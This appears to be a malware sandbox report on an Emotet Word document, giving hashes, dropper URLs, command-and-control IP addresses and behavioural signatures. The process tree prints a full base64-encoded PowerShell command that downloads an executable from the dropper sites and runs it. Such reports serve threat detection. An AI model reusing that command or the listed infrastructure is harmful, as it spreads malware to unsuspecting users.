Analysis
- max time kernel
145s - max time network
146s - platform
windows10_x64 - resource
win10v200722 - submitted
17/08/2020, 18:06
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_8b03dc5fe55fec0064b3e0886526d6645dd239585dbd1aac5ccaa79d68bf51e4_2020-08-17__180531._doc.doc
Resource
win7
General
- Target emotet_e3_8b03dc5fe55fec0064b3e0886526d6645dd239585dbd1aac5ccaa79d68bf51e4_2020-08-17__180531._doc.doc
- Size 233KB
- Sample200817-3a75cnfxg2
- SHA256 8b03dc5fe55fec0064b3e0886526d6645dd239585dbd1aac5ccaa79d68bf51e4
- MD5 fcdd4d169b810f4394d223d26358342c
- SHA1 7994b9303a734b11c558ec8196666c34d366c789
- SHA512 151b882ae1c765baae39194640bb62d68525869f03d405cf03902feb5494b4eece4ea84324bba9b2dccb3e8ca6f2cb5b7f31a55a962834e0613a4b6bc9d73f7f
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
-
exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
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exe.dropper
https://dev.dosily.in/wp-content/qyY/
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exe.dropper
http://behnasan.com/wp-content/uZRqx/
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exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
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exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/
Extracted
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emotet
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186.109.104.67:80
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185.86.148.68:443
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139.99.157.213:8080
-
105.213.67.88:80
-
190.53.144.120:80
-
203.153.216.182:7080
-
81.214.253.80:443
-
195.201.56.70:8080
-
201.213.177.139:80
-
31.146.61.34:80
-
177.144.130.105:443
-
92.24.51.238:80
-
197.83.232.19:80
-
105.209.235.113:8080
-
188.0.135.237:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
188.251.213.180:443
-
87.106.231.60:8080
-
113.161.148.81:80
-
97.104.107.190:80
-
86.57.216.23:80
-
192.163.221.191:8080
-
115.79.195.246:80
-
5.79.70.250:8080
-
41.84.237.198:443
-
46.105.131.68:8080
-
77.74.78.80:443
-
105.184.233.166:80
-
91.83.93.103:443
-
187.64.128.197:80
-
185.208.226.142:8080
-
177.32.8.85:80
-
46.32.229.152:8080
-
177.37.81.212:443
-
66.61.94.36:80
-
190.212.140.6:80
-
212.112.113.235:80
-
190.190.15.20:80
-
75.127.14.170:8080
-
172.96.190.154:8080
-
192.241.220.183:8080
-
41.185.29.128:8080
-
182.176.95.147:80
-
37.46.129.215:8080
-
181.134.9.162:80
-
201.235.10.215:80
-
181.113.229.139:443
-
181.114.114.203:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
198.57.203.63:8080
-
185.142.236.163:443
-
71.57.180.213:80
-
115.78.11.155:80
-
217.199.160.224:8080
-
172.105.78.244:8080
-
115.165.3.213:80
-
202.5.47.71:80
-
81.17.93.134:80
-
74.208.173.91:8080
-
192.210.217.94:8080
-
179.62.238.49:80
-
157.7.164.178:8081
-
143.95.101.72:8080
-
182.187.139.200:8080
-
216.75.37.196:8080
-
139.59.12.63:8080
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203.153.216.178:7080
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50.116.78.109:8080
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51.38.201.19:7080
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107.161.30.122:8080
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177.94.227.143:80
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78.189.60.109:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3660 1100 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3012-16-0x00000000020C0000-0x00000000020CC000-memory.dmp emotet behavioral2/memory/3012-16-0x00000000020C0000-0x00000000020CC000-memory.dmp emotet behavioral2/memory/2480-19-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet behavioral2/memory/2480-19-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 16 3660 powersheLL.exe 18 3660 powersheLL.exe 20 3660 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3012 Ycfq.exe 2480 Windows.ApplicationModel.LockScreen.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\rshx32\Windows.ApplicationModel.LockScreen.exe Ycfq.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 636 WINWORD.EXE 636 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3660 powersheLL.exe 3660 powersheLL.exe 3660 powersheLL.exe 2480 Windows.ApplicationModel.LockScreen.exe 2480 Windows.ApplicationModel.LockScreen.exe 2480 Windows.ApplicationModel.LockScreen.exe 2480 Windows.ApplicationModel.LockScreen.exe 2480 Windows.ApplicationModel.LockScreen.exe 2480 Windows.ApplicationModel.LockScreen.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3660 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 3012 Ycfq.exe 3012 Ycfq.exe 2480 Windows.ApplicationModel.LockScreen.exe 2480 Windows.ApplicationModel.LockScreen.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3660 wrote to memory of 3012 3660 powersheLL.exe 75 PID 3660 wrote to memory of 3012 3660 powersheLL.exe 75 PID 3660 wrote to memory of 3012 3660 powersheLL.exe 75 PID 3012 wrote to memory of 2480 3012 Ycfq.exe 77 PID 3012 wrote to memory of 2480 3012 Ycfq.exe 77 PID 3012 wrote to memory of 2480 3012 Ycfq.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8b03dc5fe55fec0064b3e0886526d6645dd239585dbd1aac5ccaa79d68bf51e4_2020-08-17__180531._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:636
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\SysWOW64\rshx32\Windows.ApplicationModel.LockScreen.exe"C:\Windows\SysWOW64\rshx32\Windows.ApplicationModel.LockScreen.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2480
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